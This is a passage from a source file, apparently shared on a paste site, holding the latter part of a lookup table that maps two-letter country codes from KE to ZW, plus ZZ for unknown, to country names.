  1382. 'KE':'Kenya', 'KG':'Kyrgyzstan', 'KH':'Cambodia', 'KI':'Kiribati', 'KM':'Comoros', 'KN':'Saint Kitts and Nevis', 'KP':'Korea Democratic People\'s Republic of', 'KR':'Korea Republic of', 'KW':'Kuwait', 'KY':'Cayman Islands', 'KZ':'Kazakhstan',
  1383. 'LA':'Lao People\'s Democratic Republic', 'LB':'Lebanon', 'LC':'Saint Lucia', 'LI':'Liechtenstein', 'LK':'Sri Lanka', 'LR':'Liberia', 'LS':'Lesotho', 'LT':'Lithuania', 'LU':'Luxembourg', 'LV':'Latvia', 'LY':'Libyan Arab Jamahiriya',
  1384. 'MA':'Morocco', 'MC':'Monaco', 'MD':'Moldova Republic of', 'ME':'Montenegro', 'MF':'Saint Martin', 'MG':'Madagascar', 'MH':'Marshall Islands', 'MK':'Macedonia', 'ML':'Mali', 'MM':'Myanmar', 'MN':'Mongolia', 'MO':'Macau', 'MP':'Northern Mariana Islands', 'MQ':'Martinique', 'MR':'Mauritania', 'MS':'Montserrat', 'MT':'Malta', 'MU':'Mauritius', 'MV':'Maldives', 'MW':'Malawi', 'MX':'Mexico', 'MY':'Malaysia', 'MZ':'Mozambique',
  1385. 'NA':'Namibia', 'NC':'New Caledonia', 'NE':'Niger', 'NF':'Norfolk Island', 'NG':'Nigeria', 'NI':'Nicaragua', 'NL':'Netherlands', 'NO':'Norway', 'NP':'Nepal', 'NR':'Nauru', 'NU':'Niue', 'NZ':'New Zealand',
  1386. 'OM':'Oman',
  1387. 'PA':'Panama', 'PE':'Peru', 'PF':'French Polynesia', 'PG':'Papua New Guinea', 'PH':'Philippines', 'PK':'Pakistan', 'PL':'Poland', 'PM':'St. Pierre and Miquelon', 'PR':'Puerto Rico', 'PS':'Palestinian Territory Occupied', 'PT':'Portugal', 'PW':'Palau', 'PY':'Paraguay',
  1388. 'QA':'Qatar',
  1389. 'RE':'Reunion', 'RO':'Romania', 'RS':'Serbia', 'RU':'Russian Federation', 'RW':'Rwanda',
  1390. 'SA':'Saudi Arabia', 'SB':'Solomon Islands', 'SC':'Seychelles', 'SD':'Sudan', 'SE':'Sweden', 'SG':'Singapore', 'SI':'Slovenia', 'SK':'Slovakia (SLOVAK Republic)', 'SL':'Sierra Leone', 'SM':'San Marino', 'SN':'Senegal', 'SO':'Somalia', 'SR':'Suriname', 'SS':'South Sudan', 'ST':'Sao Tome and Principe', 'SV':'El Salvador', 'SX':'Sint Maarten', 'SY':'Syrian Arab Republic', 'SZ':'Swaziland',
  1391. 'TC':'Turks and Caicos Islands', 'TD':'Chad', 'TG':'Togo', 'TH':'Thailand', 'TJ':'Tajikistan', 'TK':'Tokelau', 'TL':'Timor-leste', 'TM':'Turkmenistan', 'TN':'Tunisia', 'TO':'Tonga', 'TR':'Turkey', 'TT':'Trinidad and Tobago', 'TV':'Tuvalu', 'TW':'Taiwan; Republic of China (ROC)', 'TZ':'Tanzania United Republic',
  1392. 'UA':'Ukraine', 'UG':'Uganda', 'US':'United States', 'UY':'Uruguay', 'UZ':'Uzbekistan',
  1393. 'VA':'Holy See (VATICAN City State)', 'VC':'Saint Vincent and The Grenadines', 'VE':'Venezuela', 'VG':'Virgin Islands (BRITISH)', 'VI':'Virgin Islands (U.S.)', 'VN':'Viet Nam', 'VU':'Vanuatu',
  1394. 'WF':'Wallis and Futuna Islands', 'WS':'Samoa',
  1395. 'YE':'Yemen', 'YT':'Mayotte',
  1396. 'ZA':'South Africa', 'ZM':'Zambia', 'ZW':'Zimbabwe',
  1397. 'ZZ':'Unknown'
  1398. };
Add Comment
Please, Sign In to add comment